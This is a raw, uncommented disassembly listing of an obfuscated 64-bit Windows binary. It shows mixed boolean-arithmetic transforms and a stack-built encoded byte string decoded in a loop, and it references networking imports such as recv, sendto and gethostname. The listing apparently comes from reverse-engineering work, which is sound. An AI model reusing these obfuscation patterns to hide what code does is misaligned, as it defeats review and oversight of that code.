add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 8
jmp 0x140133b9e
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r12d, [rcx + r8]
sub r12b, 0x60
jmp 0x140133d11
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, r8b
and al, cl
sub cl, 0x68
jmp 0x140133ca8
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140133c33
movabs rdx, 0x89af1d39f33e9628
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x18
jmp 0x140133653
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x140133851
lea rdx, [r10 + r12]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov r12b, cl
mov qword [rbp - 8], r12
jmp 0x14013391c
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14013386c
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, r11d
jmp 0x14013371c
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140133896
movabs rdx, 0xc9de2ccdc2cfb328
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x18
jmp 0x140133b9e
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401338c2
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r12d, [r8 + rcx]
sub r12b, 0x68
jmp 0x140133d0e
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401338f1
movabs rdx, 0x1bd9c357e75a1870
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov r12b, r8b
sub r12b, al
sub r12b, 0x10
add r12b, dl
jmp 0x140133ce3
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x140133918
movabs rcx, 0x6dd559e20be47db8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 8
jmp 0x140133c63
mov r12, qword [rbp - 8]
lea rax, [r9 + rbx]
cmp rax, 2
je 0x140133b7a
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x1401339d0
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov r12b, cl
mov qword [rbp - 8], r12
cmp rbx, 0x80
jae 0x140133b4f
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x140133a71
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov r12b, cl
mov qword [rbp - 8], r12
cmp r9, 0x42
jb 0x140133759
movabs rdx, 0x71b4ff2c6d30b9c8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, cl
jmp 0x140133c66
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401339fa
movabs rdx, 0xdcd1acaa7fad2774
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x2c
jmp 0x140133653
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140133a17
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140133c33
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140133a43
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r12d, [r8 + rcx]
sub r12b, 0x74
jmp 0x140133d11
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x14013395e
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
sub cl, r11b
jmp 0x140133ba0
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140133a8e
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x14013371c
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140133ab8
movabs rdx, 0x41c0c31161150108
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x38
jmp 0x140133d44
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140133ae4
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r12d, [r8 + rcx]
sub r12b, 0x30
jmp 0x140133d0e
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x140133b01
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x140133ccf
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x140133b24
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, r8b
and al, cl
add cl, 0x80
jmp 0x140133ca8
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14013399f
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x28
jmp 0x140133674
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov r12b, byte [rbp + r10 + 0xd30]
sub r12b, al
sub r12b, 0x20
add r12b, r8b
jmp 0x1401338e9
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, r11d
sub cl, al
add cl, cl
sub cl, byte [rbp + r10 + 0xd30]
add cl, r8b
add cl, dl
mov qword [rbp - 8], rcx
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0xd30], al
add r9, r15
add rax, r9
sub r10, rax
jmp 0x140133d4a
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r12d, [rcx + r8]
sub r12b, 0x54
jmp 0x140133d11
movabs rdx, 0xb6eaacf105f23edc
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov r12b, r8b
sub r12b, al
sub r12b, 4
jmp 0x1401338e9
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov qword [rbp - 8], rcx
jmp 0x140133c8e
movabs rcx, 0x64ef1666e167d994
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0xc
add cl, r8b
mov qword [rbp - 8], rcx
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r8b
mov byte [rbp + r10 + 0xd30], cl
add r9, r15
jmp 0x140133cb4
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, r8b
and al, cl
sub cl, 0x6c
add al, al
sub r8b, al
add cl, r8b
mov qword [rbp - 8], rcx
sub r10, r15
mov r12, qword [rbp - 8]
jmp 0x140133db3
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r8b
movabs rdx, 0x1ab2ca717f75ec6c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
add cl, cl
add cl, r12b
add cl, dl
add cl, r8b
mov byte [rbp + r10 + 0xd30], cl
add rbx, r9
mov qword [rbp - 8], r12
movzx eax, r12b
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x140133db3
movabs rdx, 0x6efc52c873c8a9bc
add rdx, r10
mov al, dl
and al, r11b
add al, al
mov cl, r11b
sub cl, al
sub cl, 0x24
add cl, dl
mov qword [rbp - 8], rcx
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x70
add cl, r8b
mov byte [rbp + r10 + 0xd30], cl
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
mov r12, qword [rbp - 8]
jmp 0x140133da4
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, r11b
and al, cl
add al, al
sub cl, al
sub cl, 0x7c
add cl, r11b
mov r12b, cl
mov qword [rbp - 8], r12
movzx eax, byte [rbp + r10 + 0xd30]
add rax, r9
add r10, rax
add r10, r15
jmp 0x1401333f9
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x24
add cl, r8b
mov r12b, cl
mov qword [rbp - 8], r12
jmp 0x1401333f4
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x7c
add cl, r8b
mov r12b, cl
mov qword [rbp - 8], r12
jmp 0x1401333e4
lea rax, [rbp + 0x16a0f40]
mov cl, dl
mov qword [rbp - 8], rcx
jmp 0x140133e2e
lea rax, [rbp + 0x6bcacc]
mov qword [rbp - 8], r12
jmp 0x140133e2e
lea rax, [rbp + 0xd30]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c0], xmm0
xor ebx, ebx
mov qword [rbp + 0x2d0], rbx
mov qword [rbp + 0x2d8], rbx
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], bx
jne 0x140133e4c
mov rdx, rax
lea rcx, [rbp + 0x2c0]
call fcn.140088c20
lea rax, [rbp + 0x2c0]
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1420]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x2c0]
cmp qword [rbp + 0x2d8], 7
cmova rdx, qword [rbp + 0x2c0]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r12d, [r9 - 0x3e]
mov r8d, r12d
lea rcx, [rbp + 0x1420]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x1428]
call fcn.14009eb50
test rax, rax
jne 0x140133eee
mov rax, qword [rbp + 0x1420]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1420]
add rcx, rax
xor r8d, r8d
mov edx, r12d
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0x1420]
call fcn.14008b590
nop
lea rcx, [rbp + 0x2c0]
call fcn.140091ed0
mov byte [rbp + 0xa50], 0x9b
mov byte [rbp + 0xa51], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xa52], 0x90
mov byte [rbp + 0xa53], 0xdb
mov byte [rbp + 0xa54], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xa55], Ordinal_217
mov byte [rbp + 0xa56], 0x7b
mov byte [rbp + 0xa57], Ordinal_217
mov byte [rbp + 0xa58], 0x43
mov byte [rbp + 0xa59], Ordinal_211
mov byte [rbp + 0xa5a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xa5b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xa5c], 0x5e
mov byte [rbp + 0xa5d], Ordinal_211
mov byte [rbp + 0xa5e], 0x5d
mov byte [rbp + 0xa5f], Ordinal_211
mov byte [rbp + 0xa60], WSASetLastError
mov byte [rbp + 0xa61], 0xc9
mov byte [rbp + 0xa62], 0x7a
mov byte [rbp + 0xa63], 0xcb
mov byte [rbp + 0xa64], Ordinal_79
mov byte [rbp + 0xa65], Ordinal_200
mov byte [rbp + 0xa66], 0x64
mov byte [rbp + 0xa67], Ordinal_200
mov byte [rbp + 0xa68], 0x54
mov byte [rbp + 0xa69], 0xc1
mov byte [rbp + 0xa6a], 0x5b
mov byte [rbp + 0xa6b], Ordinal_200
mov byte [rbp + 0xa6c], 0x9f
mov byte [rbp + 0xa6d], 0x3d
mov byte [rbp + 0xa6e], 0x9a
mov byte [rbp + 0xa6f], 0x3f
mov byte [rbp + 0xa70], 0x84
mov byte [rbp + 0xa71], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xa72], 0xa8
mov byte [rbp + 0xa73], Ordinal_60
mov byte [rbp + 0xa74], 0xad
mov byte [rbp + 0xa75], gethostname
mov byte [rbp + 0xa76], 0xb8
mov byte [rbp + 0xa77], Ordinal_60
mov byte [rbp + 0xa78], 0xad
mov byte [rbp + 0xa79], Ordinal_50
mov byte [rbp + 0xa7a], 0xa0
mov byte [rbp + 0xa7b], gethostname
mov byte [rbp + 0xa7c], 0xbf
mov byte [rbp + 0xa7d], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xa7e], 0x78
mov byte [rbp + 0xa7f], Ordinal_50
mov byte [rbp + 0xa80], Ordinal_143
mov byte [rbp + 0xa81], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xa82], 0xb3
mov byte [rbp + 0xa83], Ordinal_46
mov byte [rbp + 0xa84], 0xb2
mov byte [rbp + 0xa85], Ordinal_41
mov byte [rbp + 0xa86], Ordinal_41
mov byte [rbp + 0xa87], Ordinal_41
xor eax, eax
mov qword [rbp + 0xa88], rax
mov dword [rbp + 0xa90], eax
mov word [rbp + 0xa94], ax
mov byte [rbp + 0xa96], al
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x47
jae 0x140134c4b
movzx r8d, byte [rbp + r9 + 0xa50]
mov rdx, r8
cmp rbx, r9
ja 0x140134c42
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14013410f
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul r14, rax, 0xfffffffffffffffe
add r14, rcx
add r14, rdx
add r14b, 0x44
jmp 0x140134365
je 0x140134bae
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140134b77
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140134b4d
lea rax, [r10 + 7]
cmp rbx, rax
je 0x140134afc
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x140134c39
lea rax, [r10 + 0x28]
cmp rbx, rax
jae 0x140134178
movabs rcx, 0xb7c78c691cb91734
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 0x6c
jmp 0x1401341b9
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140134aeb
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140134ac9
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140134a7d
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140134a58
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1401349c6
lea rax, [rbx + r10]
cmp rax, r9
jbe 0x1401346a3
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140134680
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x14013465e
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140134639
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x140134617
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x1401345f2
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x1401345ce
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x1401345ba
lea rbx, [r10 + 0x5a]
lea r10, [rbx + 0x40]
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x140134c12
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x140134be6
lea rax, [r10 + 0x10]
cmp rbx, rax
jb 0x14013436e
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140134342
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x14013431f
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x140134552
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x1401344c7
mov rbx, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x14013449f
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x14013447d
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x140134458
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x140134435
lea rax, [r10 + 0xa]
cmp rbx, rax
ja 0x140134412
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1401343ef
lea rcx, [r10 + 9]
cmp rbx, rcx
ja 0x1401343cc
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x1401343b8
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x140134395
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x1401341c6
mov rbx, rcx
lea r10, [rcx + 6]
jmp 0x1401341c6
movabs rcx, 0x52bb1b4a0743074c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 0x14
jmp 0x1401341b9
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r8b
mov qword [rbp - 0x68], r14
jmp 0x140134146
movabs rcx, 0x78de3d7f265cb9bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 0x24
mov qword [rbp - 0x68], r14
jmp 0x1401340d3
movabs rdx, 0xbe3c6348e5c8b9a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x60
add dl, cl
jmp 0x140134b1c
movabs rdx, 0xd14df463755592d8
mov ecx, recv
jmp 0x140134799
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
sub dl, 0x70
jmp 0x140134b6a
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r8b
jmp 0x140134a99
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
add dl, 0x80
jmp 0x140134b94
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 8
jmp 0x14013472d
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
jmp 0x1401349e6
movabs rcx, 0x43b75b02d2a2aa28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x18
jmp 0x140134832
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, dl
jmp 0x140134bcb
movabs rcx, 0x2c97f914e82954dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 4
cmp rbx, 4
jae 0x140134975
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jbe 0x14013486c
movabs rdx, 0xf22fc2bf02713608
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r14b, r8b
sub r14b, al
sub r14b, 0x38
add r14b, dl
cmp r10, 4
jb 0x140134964
movabs rdx, 0x338017b566f0b9d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x140134b1c
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r8b
lea rax, [rbx + r10]
cmp rax, 0x1000
je 0x14013499e
lea rax, [r10 + 0xa]
cmp rbx, rax
jbe 0x140134757
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, dl
jmp 0x1401344e5
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x1401349d5
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r14d, [rcx + r8]
sub r14b, 0x20
jmp 0x14013472d
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
jmp 0x140134b94
movabs rcx, 0xae051ffb7a16c950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x30
jmp 0x140134a9b
movabs rdx, 0xc116b11609a3a288
mov ecx, 0x24
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
jmp 0x140134b6a
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x40
jmp 0x1401347aa
movabs rdx, 0xe739d34b28bd54f8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
jmp 0x1401343b1
lea rax, [r10 + 0x41]
cmp rbx, rax
jae 0x1401346cb
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, dl
jmp 0x140134575
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401346e8
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1401344ae
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140134705
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x140134467
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140134736
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r14d, [rcx + r8]
sub r14b, 0x40
mov qword [rbp - 0x68], r14
jmp 0x140134b9e
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140134575
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x140134648
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140134781
movabs rdx, 0x2756a53b562b459c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x44
jmp 0x1401343b1
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401347b3
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
mov qword [rbp - 0x68], rdx
jmp 0x140134b48
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401347df
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
sub dl, 0x24
jmp 0x140134b94
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140134809
movabs rdx, 0xb4ed3e9bf8de2e4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x14
jmp 0x140134476
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14013483b
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
mov qword [rbp - 0x68], rdx
jmp 0x140134a1e
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x1401344e5
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r14d, [rcx + r8]
sub r14b, 4
jmp 0x140134bcb
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140134889
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x1401344ae
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401348a6
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x1401349d5
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401348c3
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x140134601
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401348ed
movabs rdx, 0x7fc65c1fa5241eb8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 8
jmp 0x140134a99
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140134919
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
add dl, 0x80
jmp 0x140134b6a
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140134936
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x140134799
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x140134520
movabs rdx, 0x4691a8cff67d9310
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x70
jmp 0x1401343b1
mov byte [rbp + r9 + 0xa50], r14b
mov qword [rbp - 0x68], r14
jmp 0x140134bde
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, byte [rbp + r9 + 0xa50]
sub cl, al
add cl, r8b
sub dl, 0x60
jmp 0x140134a99
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
sub cl, byte [rbp + r9 + 0xa50]
jmp 0x140134473
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
mov qword [rbp - 0x68], rdx
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0xa50], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x50
add cl, r8b
mov byte [rbp + r9 + 0xa50], cl
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
mov r14, qword [rbp - 0x68]
jmp 0x140134bcf
movabs rdx, 0x586fb6e44ef8d91c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
jmp 0x140134b94
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x4c
add dl, cl
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x1c
add r8b, dl
add r8b, cl
mov byte [rbp + r9 + 0xa50], r8b
jmp 0x140134b94
movabs rdx, 0x7e92d9196e128b8c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
jmp 0x140134b6a
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x140134b0b
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
mov qword [rbp - 0x68], rdx
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xa50], cl
add r10, r15
jmp 0x140134b6e
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 4
mov qword [rbp - 0x68], rdx
sub r9, r15
mov r14, qword [rbp - 0x68]
jmp 0x140134bde
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x14
mov qword [rbp - 0x68], rdx
add rbx, r10
mov r14, rdx
movzx eax, r14b
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140134bde
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea r14d, [rcx + rdx]
sub r14b, 0x34
mov qword [rbp - 0x68], r14
movzx eax, byte [rbp + r9 + 0xa50]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401340c0
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r8b
mov qword [rbp - 0x68], r14
jmp 0x1401340bb
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, cl
and al, r8b
add al, al
